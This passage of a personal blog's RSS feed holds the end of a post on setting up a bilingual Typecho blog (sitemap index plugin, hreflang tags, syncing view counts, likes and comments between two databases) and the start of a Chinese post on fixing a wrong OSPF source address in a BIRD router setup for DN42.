 * The sitemap URL is: http(s)://yourdomain.com/sitemap.xml
 *
 * @package Sitemap Plugin
 * @author joyqi
 * @version 1.0.0
 * @since 1.2.1
 * @link https://github.com/joyqi/typecho-plugin-sitemap
 */
class Plugin implements PluginInterface
{
    /**
     * Activate plugin method, if activated failed, throw exception will disable this plugin.
     */
    public static function activate()
    {
        Helper::addRoute(
            &apos;sitemap_index&apos;,
            &apos;/sitemap.xml&apos;,
            Generator::class,
            &apos;generate_index&apos;,
            &apos;index&apos;
        );
        Helper::addRoute(
            &apos;sitemap_cn&apos;,
            &apos;/sitemap_cn.xml&apos;,
            Generator::class,
            &apos;generate_cn&apos;,
            &apos;index&apos;
        );
    }

    /**
     * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
     */
    public static function deactivate()
    {
        Helper::removeRoute(&apos;sitemap_index&apos;);
        Helper::removeRoute(&apos;sitemap_cn&apos;);
    }

    /**
     * Plugin config panel render method.
     *
     * @param Form $form
     */
    public static function config(Form $form)
    {
        $sitemapBlock = new Form\Element\Checkbox(
            &apos;sitemapBlock&apos;,
            [
                &apos;posts&apos; =&amp;gt; _t(&apos;Generate post links&apos;),
                &apos;pages&apos; =&amp;gt; _t(&apos;Generate page links&apos;),
                &apos;categories&apos; =&amp;gt; _t(&apos;Generate category links&apos;),
                &apos;tags&apos; =&amp;gt; _t(&apos;Generate tag links&apos;),
            ],
            [&apos;posts&apos;, &apos;pages&apos;, &apos;categories&apos;, &apos;tags&apos;],
            _t(&apos;Sitemap Display&apos;)
        );

        $updateFreq = new Form\Element\Select(
            &apos;updateFreq&apos;,
            [
                &apos;daily&apos; =&amp;gt; _t(&apos;Daily&apos;),
                &apos;weekly&apos; =&amp;gt; _t(&apos;Weekly&apos;),
                &apos;monthly&apos; =&amp;gt; _t(&apos;Monthly or less often&apos;),
            ],
            &apos;daily&apos;,
            _t(&apos;Update Frequency&apos;)
        );

        // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text(&apos;externalSitemap&apos;, NULL, &apos;&apos;, _t(&apos;Additional Sitemap&apos;));

        $form-&amp;gt;addInput($sitemapBlock-&amp;gt;multiMode());
        $form-&amp;gt;addInput($updateFreq);
        // $form-&amp;gt;addInput($externalSitemap);
    }

    /**
     * Plugin personal config panel render method.
     *
     * @param Form $form
     */
    public static function personalConfig(Form $form)
    {
        // TODO: Implement personalConfig() method.
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify the SiteMap&apos;s &lt;code&gt;Generator.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Generator extends Contents
{
+   public function generate_index(){
+       $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
+&amp;lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
+ &amp;lt;sitemap&amp;gt;
+   &amp;lt;loc&amp;gt;https://www.iyoroy.cn/sitemap_cn.xml&amp;lt;/loc&amp;gt;
+ &amp;lt;/sitemap&amp;gt;
+ &amp;lt;sitemap&amp;gt;
+   &amp;lt;loc&amp;gt;https://www.iyoroy.cn/en/sitemap.xml&amp;lt;/loc&amp;gt;
+ &amp;lt;/sitemap&amp;gt;
+&amp;lt;/sitemapindex&amp;gt;&apos;;
+       $this-&amp;gt;response-&amp;gt;throwContent($sitemap, &apos;text/xml&apos;);
+   }
+
    /**
     * @return void
     */
-   public function generate()
+   public function generate_cn()
    {
        $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;&apos; . $this-&amp;gt;options-&amp;gt;charset . &apos;&quot;?&amp;gt;&apos; . PHP_EOL;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Complete code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

namespace TypechoPlugin\Sitemap;

use Widget\Base\Contents;
use Widget\Contents\Page\Rows;
use Widget\Contents\Post\Recent;
use Widget\Metas\Category\Rows as CategoryRows;
use Widget\Metas\Tag\Cloud;

if (!defined(&apos;__TYPECHO_ROOT_DIR__&apos;)) {
    exit;
}

/**
 * Sitemap Generator
 */
class Generator extends Contents
{
    public function generate_index(){
        $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
  &amp;lt;sitemap&amp;gt;
    &amp;lt;loc&amp;gt;https://www.iyoroy.cn/sitemap_cn.xml&amp;lt;/loc&amp;gt;
  &amp;lt;/sitemap&amp;gt;
  &amp;lt;sitemap&amp;gt;
    &amp;lt;loc&amp;gt;https://www.iyoroy.cn/en/sitemap.xml&amp;lt;/loc&amp;gt;
  &amp;lt;/sitemap&amp;gt;
&amp;lt;/sitemapindex&amp;gt;&apos;;
        $this-&amp;gt;response-&amp;gt;throwContent($sitemap, &apos;text/xml&apos;);
    }
    /**
     * @return void
     */
    public function generate_cn()
    {
        $sitemap = &apos;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;&apos; . $this-&amp;gt;options-&amp;gt;charset . &apos;&quot;?&amp;gt;&apos; . PHP_EOL;
        $sitemap .= &apos;&amp;lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&apos;
            . &apos; xmlns:news=&quot;http://www.google.com/schemas/sitemap-news/0.9&quot;&apos;
            . &apos; xmlns:xhtml=&quot;http://www.w3.org/1999/xhtml&quot;&apos;
            . &apos; xmlns:image=&quot;http://www.google.com/schemas/sitemap-image/1.1&quot;&apos;
            . &apos; xmlns:video=&quot;http://www.google.com/schemas/sitemap-video/1.1&quot;&amp;gt;&apos; . PHP_EOL;

        // add homepage
        $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
        &amp;lt;url&amp;gt;
            &amp;lt;loc&amp;gt;{$this-&amp;gt;options-&amp;gt;siteUrl}&amp;lt;/loc&amp;gt;
            &amp;lt;changefreq&amp;gt;daily&amp;lt;/changefreq&amp;gt;
            &amp;lt;priority&amp;gt;1.0&amp;lt;/priority&amp;gt;
        &amp;lt;/url&amp;gt;
EOF;

        // add posts
        if (in_array(&apos;posts&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $postsCount = $this-&amp;gt;size($this-&amp;gt;select()
                -&amp;gt;where(&apos;table.contents.status = ?&apos;, &apos;publish&apos;)
                -&amp;gt;where(&apos;table.contents.created &amp;lt; ?&apos;, $this-&amp;gt;options-&amp;gt;time)
                -&amp;gt;where(&apos;table.contents.type = ?&apos;, &apos;post&apos;));

            $posts = Recent::alloc([&apos;pageSize&apos; =&amp;gt; $postsCount]);
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq ===&apos;monthly&apos; ? &apos;monthly&apos; : &apos;weekly&apos;;

            while ($posts-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$posts-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;lastmod&amp;gt;{$posts-&amp;gt;date-&amp;gt;format(&apos;c&apos;)}&amp;lt;/lastmod&amp;gt;
                &amp;lt;priority&amp;gt;0.8&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        // add pages
        if (in_array(&apos;pages&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $pages = Rows::alloc();
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq ===&apos;monthly&apos; ? &apos;yearly&apos; : &apos;monthly&apos;;

            while ($pages-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$pages-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;lastmod&amp;gt;{$pages-&amp;gt;date-&amp;gt;format(&apos;c&apos;)}&amp;lt;/lastmod&amp;gt;
                &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        // add categories
        if (in_array(&apos;categories&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $categories = CategoryRows::alloc();
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq;

            while ($categories-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$categories-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;priority&amp;gt;0.6&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        // add tags
        if (in_array(&apos;tags&apos;, $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;sitemapBlock)) {
            $tags = Cloud::alloc();
            $freq = $this-&amp;gt;options-&amp;gt;plugin(&apos;Sitemap&apos;)-&amp;gt;updateFreq;

            while ($tags-&amp;gt;next()) {
                $sitemap .= &amp;lt;&amp;lt;&amp;lt;EOF
            &amp;lt;url&amp;gt;
                &amp;lt;loc&amp;gt;{$tags-&amp;gt;permalink}&amp;lt;/loc&amp;gt;
                &amp;lt;changefreq&amp;gt;{$freq}&amp;lt;/changefreq&amp;gt;
                &amp;lt;priority&amp;gt;0.4&amp;lt;/priority&amp;gt;
            &amp;lt;/url&amp;gt;
EOF;
            }
        }

        $sitemap .= &apos;&amp;lt;/urlset&amp;gt;&apos;;

        $this-&amp;gt;response-&amp;gt;throwContent($sitemap, &apos;text/xml&apos;);
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Please replace the blog URL in the code with your own.&lt;br /&gt;
(I was too busy recently to create a separate configuration page, so I hardcoded the Sitemap URLs into the plugin for now.)&lt;/p&gt;
&lt;p&gt;Disable and then re-enable the plugin. Visiting &lt;code&gt;https://&amp;lt;host&amp;gt;/sitemap.xml&lt;/code&gt; should now show the sitemap index:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&amp;gt;
    &amp;lt;sitemap&amp;gt;
        &amp;lt;loc&amp;gt;https://www.iyoroy.cn/sitemap_cn.xml&amp;lt;/loc&amp;gt;
    &amp;lt;/sitemap&amp;gt;
    &amp;lt;sitemap&amp;gt;
        &amp;lt;loc&amp;gt;https://www.iyoroy.cn/en/sitemap.xml&amp;lt;/loc&amp;gt;
    &amp;lt;/sitemap&amp;gt;
&amp;lt;/sitemapindex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should also be able to see that search engines like Bing Webmaster Tools have detected the English site&apos;s sitemap:&lt;br /&gt;
&lt;img src=&quot;./images/2025/11/4136962880.png&quot; alt=&quot;bing-webmasters.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Add hreflang&lt;/h2&gt;
&lt;p&gt;This step informs search engines that the current page has multi-language versions, allowing them to show the appropriate page based on user language preference or location. We need to insert link tags like the following format within the &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt; section:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;en-us&quot; href=&quot;https://example.com/us&quot;&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;fr&quot; href=&quot;https://example.com/fr&quot;&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;x-default&quot; href=&quot;https://example.com/default&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, &lt;code&gt;hreflang=&quot;x-default&quot;&lt;/code&gt; indicates the default language for the page. The value of hreflang is composed of an &lt;strong&gt;ISO 639-1&lt;/strong&gt; language code and an optional &lt;strong&gt;ISO 3166-1 Alpha-2&lt;/strong&gt; region code (e.g., distinguishing between en, en-US and en-UK).&lt;/p&gt;
&lt;p&gt;Add the following content to the relevant section of your theme&apos;s &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  // Get the current full URL
  $current_url = $_SERVER[&apos;REQUEST_URI&apos;]; 
  $host = $_SERVER[&apos;HTTP_HOST&apos;];

  // Check if there is an English prefix &quot;/en/&quot;
  if (strpos($current_url, &apos;/en/&apos;) === 0) {
    $current_url = substr_replace($current_url, &apos;&apos;, 0, 3);
  }

  $new_url_cn = &apos;https://&apos; . $host . $current_url;
  $new_url_en = &apos;https://&apos; . $host . &apos;/en&apos; . $current_url;

  // Generate the link tags
  echo &apos;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;zh-cn&quot; href=&quot;&apos;.$new_url_cn.&apos;&quot; /&amp;gt;&apos;;
  echo &apos;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;en-us&quot; href=&quot;&apos;.$new_url_en.&apos;&quot; /&amp;gt;&apos;;
  echo &apos;&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;x-default&quot; href=&quot;&apos;.$new_url_cn.&apos;&quot; /&amp;gt;&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This needs to be added to both the Chinese and English sites.&lt;/p&gt;
&lt;p&gt;After this, you should find the corresponding &lt;code&gt;hreflang&lt;/code&gt; configuration in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of your website pages.&lt;/p&gt;
&lt;h2&gt;Sync Like Counts and View Counts&lt;/h2&gt;
&lt;p&gt;This step is highly theme-dependent and might not apply to all themes. I use the Joe theme, which handles reading and writing like counts and view counts to the database directly. I modified the English instance&apos;s theme code to read and write these values directly from/to the Chinese instance&apos;s database.&lt;br /&gt;
Modify the function that retrieves view counts in &lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe/core/function.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Query Post Views */
function _getViews($item, $type = true)
{
- $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+ $db-&amp;gt;addServer([
+     &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+     &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+     &apos;password&apos; =&amp;gt; &apos;[CENSORED]&apos;,
+     &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+     &apos;port&apos; =&amp;gt; 3306,
+     &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;views&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $item-&amp;gt;cid))[&apos;views&apos;];
  if ($type) echo number_format($result);
  else return number_format($result);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify the function that retrieves like counts in &lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe/core/function.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Query Post Like Count */
function _getAgree($item, $type = true)
{
- $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+ $db-&amp;gt;addServer([
+     &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+     &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+     &apos;password&apos; =&amp;gt; &apos;[CENSORED]&apos;,
+     &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+     &apos;port&apos; =&amp;gt; 3306,
+     &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;agree&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $item-&amp;gt;cid))[&apos;agree&apos;];
  if ($type) echo number_format($result);
  else return number_format($result);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify the code displaying view counts on the homepage in &lt;code&gt;&amp;lt;webroot&amp;gt;/en/usr/themes/Joe/core/route.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        $result[] = array(
            &quot;mode&quot; =&amp;gt; $item-&amp;gt;fields-&amp;gt;mode ? $item-&amp;gt;fields-&amp;gt;mode : &apos;default&apos;,
            &quot;image&quot; =&amp;gt; _getThumbnails($item),
            &quot;time&quot; =&amp;gt; date(&apos;Y-m-d&apos;, $item-&amp;gt;created),
            &quot;created&quot; =&amp;gt; date(&apos;d/m/Y&apos;, $item-&amp;gt;created),
            &quot;title&quot; =&amp;gt; $item-&amp;gt;title,
            &quot;abstract&quot; =&amp;gt; _getAbstract($item, false),
            &quot;category&quot; =&amp;gt; $item-&amp;gt;categories,
-           &quot;views&quot; =&amp;gt; number_format($item-&amp;gt;views),
+           // &quot;views&quot; =&amp;gt; number_format($item-&amp;gt;views),
+           &quot;views&quot; =&amp;gt; _getViews($item, false),
            &quot;commentsNum&quot; =&amp;gt; number_format($item-&amp;gt;commentsNum),
-           &quot;agree&quot; =&amp;gt; number_format($item-&amp;gt;agree),
+           // &quot;agree&quot; =&amp;gt; number_format($item-&amp;gt;agree),
+           &quot;agree&quot; =&amp;gt; _getAgree($item, false),
            &quot;permalink&quot; =&amp;gt; $item-&amp;gt;permalink,
            &quot;lazyload&quot; =&amp;gt; _getLazyload(false),
            &quot;type&quot; =&amp;gt; &quot;normal&quot;
        );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code displaying view counts on the article page itself already uses &lt;code&gt;_getViews&lt;/code&gt;, so it doesn&apos;t need modification.&lt;br /&gt;
Modify the code that increments view counts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Increase View Count - Tested √ */
function _handleViews($self)
{
    $self-&amp;gt;response-&amp;gt;setStatus(200);

    $cid = $self-&amp;gt;request-&amp;gt;cid;

    /* SQL injection check */
    if (!preg_match(&apos;/^\d+$/&apos;,  $cid)) {
        return $self-&amp;gt;response-&amp;gt;throwJson(array(&quot;code&quot; =&amp;gt; 0, &quot;data&quot; =&amp;gt; &quot;Illegal request! Blocked!&quot;));
    }
-   $db = Typecho_Db::get();  
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+   $db-&amp;gt;addServer([
+       &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+       &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+       &apos;password&apos; =&amp;gt; &apos;[CENSORED]&apos;,
+       &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+       &apos;port&apos; =&amp;gt; 3306,
+       &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
    
    
    $row = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;views&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $cid));
    if (sizeof($row) &amp;gt; 0) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify the code for liking and unliking:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Like and Unlike - Tested √ */
function _handleAgree($self)
{
    $self-&amp;gt;response-&amp;gt;setStatus(200);

    $cid = $self-&amp;gt;request-&amp;gt;cid;
    $type = $self-&amp;gt;request-&amp;gt;type;

    /* SQL injection check */
    if (!preg_match(&apos;/^\d+$/&apos;,  $cid)) {
        return $self-&amp;gt;response-&amp;gt;throwJson(array(&quot;code&quot; =&amp;gt; 0, &quot;data&quot; =&amp;gt; &quot;Illegal request! Blocked!&quot;));
    }
    /* SQL injection check */
    if (!preg_match(&apos;/^[agree|disagree]+$/&apos;, $type)) {
        return $self-&amp;gt;response-&amp;gt;throwJson(array(&quot;code&quot; =&amp;gt; 0, &quot;data&quot; =&amp;gt; &quot;Illegal request! Blocked!&quot;));
    }
-   $db = Typecho_Db::get();
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+   $db-&amp;gt;addServer([
+       &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+       &apos;user&apos; =&amp;gt; &apos;typecho&apos;,
+       &apos;password&apos; =&amp;gt; &apos;[CENSORED]&apos;,
+       &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+       &apos;port&apos; =&amp;gt; 3306,
+       &apos;database&apos; =&amp;gt; &apos;typecho&apos;
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
  
    $row = $db-&amp;gt;fetchRow($db-&amp;gt;select(&apos;agree&apos;)-&amp;gt;from(&apos;table.contents&apos;)-&amp;gt;where(&apos;cid = ?&apos;, $cid));
    if (sizeof($row) &amp;gt; 0) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After making these changes and saving, visiting the English site should show view counts and like counts synchronized with the Chinese site.&lt;/p&gt;
&lt;h2&gt;Sync Comments&lt;/h2&gt;
&lt;p&gt;I initially thought about creating a plugin that hooks into the comment submission function to simultaneously insert comment data into the other instance&apos;s database. However, I found that my Joe theme already hooks into this, and adding another hook might cause conflicts. Therefore, I directly edited the Joe theme&apos;s code.&lt;br /&gt;
Edit &lt;code&gt;&amp;lt;webroot&amp;gt;/index/usr/themes/Joe/core/factory.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

require_once(&quot;phpmailer.php&quot;);
require_once(&quot;smtp.php&quot;);

/* Enhanced Comment Interception */
Typecho_Plugin::factory(&apos;Widget_Feedback&apos;)-&amp;gt;comment = array(&apos;Intercept&apos;, &apos;message&apos;);
class Intercept
{
  public static function message($comment)
  {
    ...
    Typecho_Cookie::delete(&apos;__typecho_remember_text&apos;);
+   
+   $db = new Typecho_Db(&apos;Mysql&apos;, &apos;typecho_&apos; /* Prefix */);
+   $db-&amp;gt;addServer([
+       &apos;host&apos; =&amp;gt; &apos;mysql&apos;,
+       &apos;user&apos; =&amp;gt; &apos;typecho_en&apos;,
+       &apos;password&apos; =&amp;gt; &apos;[CENSORED]&apos;,
+       &apos;charset&apos; =&amp;gt; &apos;utf8mb4&apos;,
+       &apos;port&apos; =&amp;gt; 3306,
+       &apos;database&apos; =&amp;gt; &apos;typecho_en&apos;
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
+   
+   $row = [
+       &apos;coid&apos;     =&amp;gt; $comment[&apos;coid&apos;], // Must include the newly generated comment ID
+       &apos;cid&apos;      =&amp;gt; $comment[&apos;cid&apos;],
+       &apos;created&apos;  =&amp;gt; $comment[&apos;created&apos;],
+       &apos;author&apos;   =&amp;gt; $comment[&apos;author&apos;],
+       &apos;authorId&apos; =&amp;gt; $comment[&apos;authorId&apos;],
+       &apos;ownerId&apos;  =&amp;gt; $comment[&apos;ownerId&apos;],
+       &apos;mail&apos;     =&amp;gt; $comment[&apos;mail&apos;],
+       &apos;url&apos;      =&amp;gt; $comment[&apos;url&apos;],
+       &apos;ip&apos;       =&amp;gt; $comment[&apos;ip&apos;],
+       &apos;agent&apos;    =&amp;gt; $comment[&apos;agent&apos;],
+       &apos;text&apos;     =&amp;gt; $comment[&apos;text&apos;],
+       &apos;type&apos;     =&amp;gt; $comment[&apos;type&apos;],
+       &apos;status&apos;   =&amp;gt; $comment[&apos;status&apos;],
+       &apos;parent&apos;   =&amp;gt; $comment[&apos;parent&apos;]
+   ];
+
+   // Insert data into the target database&apos;s `comments` table
+   $db-&amp;gt;query($db-&amp;gt;insert(&apos;typecho_comments&apos;)-&amp;gt;rows($row));
    return $comment;
  }
}
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Perform the same operation on the English instance, inserting comments into the Chinese database.&lt;br /&gt;
One issue with this scheme is that if you need to delete spam comments, you must delete them separately in both instances. I&apos;ll fix that later (maybe).&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Reference:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/typecho/languages&quot;&gt;typecho/languages - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>DN42&amp;OneManISP - 共存环境下的OSPF源地址故障排除</title><link>https://blog.iyoroy.cn/posts/208/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/208/</guid><description>将 DN42 与公网路由放入同一主路由表后，内部节点互相 ping 不通。从 ip route get 的源地址异常入手，记录调整 BIRD krt_prefsrc 的排障过程。</description><pubDate>Wed, 29 Oct 2025 12:42:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;正如这个系列的上文所说，因为VRF方案太过于隔离，导致我部署在HKG节点（172.20.234.225）的DNS服务无法被DN42网络所访问，查阅资料得知可以通过设置veth或者NAT地址转发的方式来实现，但是因为现有的资料比较少，最终还是放弃了VRF这个方案。&lt;/p&gt;
&lt;h1&gt;结构分析&lt;/h1&gt;
&lt;p&gt;这次我打算将DN42和公网BGP的路由都放入系统的主路由表，然后再分开导出，通过过滤器来区分是否应该导出。同时，为了更加直观，我将DN42部分的配置和公网（以下简称inet）部分的配置分别单独存放，再由主配置文件引入。同时，因为kernel部分配置一个路由表只应该存在一个，因此合并DN42和inet的kernel部分，仅保留一个。&lt;/p&gt;
&lt;p&gt;经过多次优化和修改，我最终的目录结构如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/bird/
├─envvars
├─bird.conf: Bird主配置文件，负责定义基本信息（ASN、IP等），引入下面的子配置
├─kernel.conf: 内核配置，负责将路由导入系统路由表
├─dn42
|  ├─defs.conf: DN42的函数定义，如is_self_dn42_net()这类
|  ├─ibgp.conf: DN42 iBGP模板
|  ├─rpki.conf: DN42 RPKI路由验证
|  ├─ospf.conf: DN42 OSPF内网
|  ├─static.conf: DN42静态路由
|  ├─ebgp.conf: DN42 Peer模板
|  ├─ibgp
|  |  └&amp;lt;ibgp configs&amp;gt;: DN42 iBGP各个节点的配置
|  ├─ospf
|  |  └backbone.conf: OSPF区域
|  ├─peers
|  |  └&amp;lt;ibgp configs&amp;gt;: DN42 Peer各个节点的配置
├─inet
|  ├─peer.conf: 公网Peer
|  ├─ixp.conf: 公网IXP接入
|  ├─defs.conf: 公网部分的函数定义，如is_self_inet_v6()
|  ├─upstream.conf: 公网上游
|  └static.conf: 公网静态路由
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将定义函数的部分单独拿出来是因为我需要在&lt;code&gt;kernel.conf&lt;/code&gt;的过滤器中引用，因此单独拿出来以便于提前&lt;code&gt;include&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;完成后分别填入对应配置，然后由写好include关系，&lt;code&gt;birdc configure&lt;/code&gt;后发现也成功跑起来了。于是乎告一段落...吗?&lt;/p&gt;
&lt;h1&gt;发现问题&lt;/h1&gt;
&lt;p&gt;运行一段时间后，我突然发现通过我的内网设备Ping HKG节点无法Ping通，通过HKG节点Ping我的其他内部节点也无法Ping通。奇怪的是，外部AS可以通过我的HKG节点Ping到我的其他节点或者其他外部AS，我的内部节点也可以通过HKG节点Ping到其他不直接相连的节点（如：226(NKG)-&amp;gt;225(HKG)-&amp;gt;229(LAX)）。
通过&lt;code&gt;ip route get &amp;lt;内网其他节点地址&amp;gt;&lt;/code&gt;发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226
172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0
    cache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看出问题了吗？src地址本来应该是HKG节点自己的DN42地址（OSPF部分stub网卡配置的），但是这里显示的却是HKG节点的公网地址。
尝试通过&lt;code&gt;birdc s r for 172.20.234.226&lt;/code&gt;读取bird学习到的路由：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226
BIRD 2.17.1 ready.
Table master4:
172.20.234.226/32    unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226]
        via 172.20.234.226 on dn42_nkg onlink
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来貌似一切正常...?
理论上来说，虽然DN42的源IP和正常的不太一样，但是DN42在导出到内核的时候改写了&lt;code&gt;krt_prefsrc&lt;/code&gt;来告诉内核正确的源地址，理论上不应该出现这样的问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol kernel kernel_v4{  
    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
